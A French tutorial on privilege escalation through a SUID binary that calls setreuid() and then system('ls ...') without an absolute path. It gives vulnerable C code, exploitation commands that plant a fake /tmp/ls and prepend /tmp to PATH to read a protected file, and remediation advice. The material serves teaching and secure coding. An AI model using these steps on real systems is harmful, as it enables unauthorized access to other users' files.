setreuid et PATH hijacking : exploiter un binaire SUID
Un binaire SUID fait tourner un processus avec l’identité du propriétaire du fichier plutôt que celle de l’utilisateur qui l’exécute. Si ce binaire appelle system() avec une commande sans chemin absolu, il devient possible de substituer la commande par un script malveillant en manipulant le PATH. La résistance de cette technique dépend d’un appel à setreuid() — sans lui, le shell lancé par system() supprime lui-même les privilèges.
Les identifiants utilisateur sous Linux
Section titled “Les identifiants utilisateur sous Linux”Chaque processus Linux porte deux identifiants utilisateur distincts :
| Identifiant | Rôle |
|---|---|
| RUID (Real User ID) | L’utilisateur qui a lancé le processus |
| EUID (Effective User ID) | L’utilisateur dont les droits s’appliquent aux vérifications de permissions |
Linux utilise l’EUID pour les contrôles d’accès aux fichiers. Le RUID sert principalement à tracer l’origine du processus.
Le bit SUID
Section titled “Le bit SUID”Le bit SUID (Set User ID) sur un binaire modifie ce comportement au lancement :
-r-sr-x--- 1 utilisateur-cible groupe-courant 7252 binaire* ^ s = SUID actif (remplace le x dans les permissions du propriétaire)Quand un utilisateur exécute ce binaire :
- RUID → reste l’UID de l’appelant
- EUID → prend l’UID du propriétaire du fichier (
utilisateur-cible)
Le processus s’exécute donc avec les droits de utilisateur-cible, ce qui lui donne accès aux fichiers que seul cet utilisateur peut lire.
Le code vulnérable
Section titled “Le code vulnérable”#include <stdlib.h>#include <sys/types.h>#include <unistd.h>
int main(void){ setreuid(geteuid(), geteuid()); system("ls /chemin/vers/fichier-protege"); return 0;}Deux éléments concentrent la vulnérabilité.
setreuid(geteuid(), geteuid())
Section titled “setreuid(geteuid(), geteuid())”setreuid(nouveau_ruid, nouveau_euid) fixe explicitement les deux identifiants du processus.
Au moment de l’appel :
geteuid()retourne l’EUID courant → l’UID deutilisateur-cible(grâce au bit SUID)setreuid(geteuid(), geteuid())aligne donc le RUID sur l’EUID
Avant setreuid : RUID = appelant, EUID = utilisateur-cible
Après setreuid : RUID = utilisateur-cible, EUID = utilisateur-cible
Pourquoi c’est déterminant
Section titled “Pourquoi c’est déterminant”system() lance un shell : /bin/sh -c "commande". Par conception, bash détecte si RUID ≠ EUID au démarrage et, dans ce cas, supprime les privilèges en ramenant l’EUID au niveau du RUID. C’est une protection native de bash contre l’escalade de privilèges via des scripts shell.
Sans setreuid : RUID = appelant ≠ EUID = utilisateur-cible → bash détecte l'écart → abandonne les privilèges SUID → EUID = RUID = appelant
Avec setreuid : RUID = utilisateur-cible = EUID = utilisateur-cible → bash ne détecte aucun écart → conserve les privilèges → shell tourne en tant que utilisateur-ciblesystem(“ls …”) sans chemin absolu
Section titled “system(“ls …”) sans chemin absolu”system() transmet la commande à /bin/sh -c. Le shell résout ls en parcourant les répertoires listés dans la variable PATH, dans l’ordre. Si le premier répertoire du PATH contient un fichier nommé ls, c’est lui qui s’exécute — pas /bin/ls.
Exploitation
Section titled “Exploitation”1. Créer le script malveillant
Section titled “1. Créer le script malveillant”echo "/bin/cat /chemin/vers/fichier-protege" > /tmp/lschmod +x /tmp/ls2. Injecter /tmp en tête du PATH
Section titled “2. Injecter /tmp en tête du PATH”export PATH=/tmp:$PATH3. Exécuter le binaire SUID
Section titled “3. Exécuter le binaire SUID”./binaire-suidCe qui se passe à l’exécution
Section titled “Ce qui se passe à l’exécution”1. Le binaire démarre → RUID = appelant, EUID = utilisateur-cible (SUID)
2. setreuid(geteuid(), geteuid()) → RUID = utilisateur-cible, EUID = utilisateur-cible
3. system("ls /chemin/vers/fichier-protege") → Lance /bin/sh -c "ls /chemin/vers/fichier-protege" → bash : RUID == EUID → pas de suppression des privilèges
4. Le shell cherche "ls" dans le PATH → Trouve /tmp/ls en premier
5. /tmp/ls s'exécute en tant que utilisateur-cible → /bin/cat /chemin/vers/fichier-protege → lecture autoriséeVérifier que le PATH est pris en compte
Section titled “Vérifier que le PATH est pris en compte”# Confirmer que /tmp apparaît en premierecho $PATH
# Vérifier que le shell trouve bien le faux lswhich ls# → /tmp/lsPourquoi /bin/cat dans le script et pas cat
Section titled “Pourquoi /bin/cat dans le script et pas cat”Le script /tmp/ls doit appeler cat avec son chemin absolu. Sinon, quand le shell cherche cat, il parcourt de nouveau le PATH — et trouve /tmp/cat s’il existe, ou échoue si le PATH a été modifié après injection.
Utiliser des chemins absolus (/bin/cat, /bin/sh, /usr/bin/id) dans le script malveillant garantit que les commandes s’exécutent indépendamment de l’état du PATH.
Remédiation
Section titled “Remédiation”Appeler les commandes avec leur chemin absolu
Section titled “Appeler les commandes avec leur chemin absolu”// Vulnérablesystem("ls /chemin/vers/fichier");
// Correctsystem("/bin/ls /chemin/vers/fichier");Avec un chemin absolu, la résolution via PATH ne s’applique plus — le shell exécute exactement le binaire spécifié.
Remplacer system() par des appels directs
Section titled “Remplacer system() par des appels directs”system() hérite de l’environnement complet du processus appelant, PATH inclus. execve() ou execl() permettent de passer explicitement l’environnement et le chemin :
#include <unistd.h>
// Appel direct sans intermédiaire shellchar *args[] = {"/bin/ls", "/chemin/vers/fichier", NULL};char *env[] = {NULL}; // environnement videexecve("/bin/ls", args, env);Pas de shell intermédiaire, pas de résolution via PATH, pas de variables d’environnement héritées.
Ne pas utiliser setreuid pour fixer le RUID
Section titled “Ne pas utiliser setreuid pour fixer le RUID”Aligner le RUID sur l’EUID supprime la protection native de bash. Si le binaire SUID doit lancer un shell, conserver RUID ≠ EUID force bash à abandonner les privilèges — même si system() est appelé avec une commande non qualifiée.
À retenir
Section titled “À retenir”Sans setreuid, bash supprime les privilèges SUID dès qu’il détecte RUID ≠ EUID — le PATH hijacking ne produit aucun effet. Avec setreuid(geteuid(), geteuid()), les deux identifiants s’alignent, bash conserve les privilèges, et toute commande résolue via le PATH s’exécute avec les droits du propriétaire du binaire SUID. La correction tient en une ligne : passer le chemin absolu à system().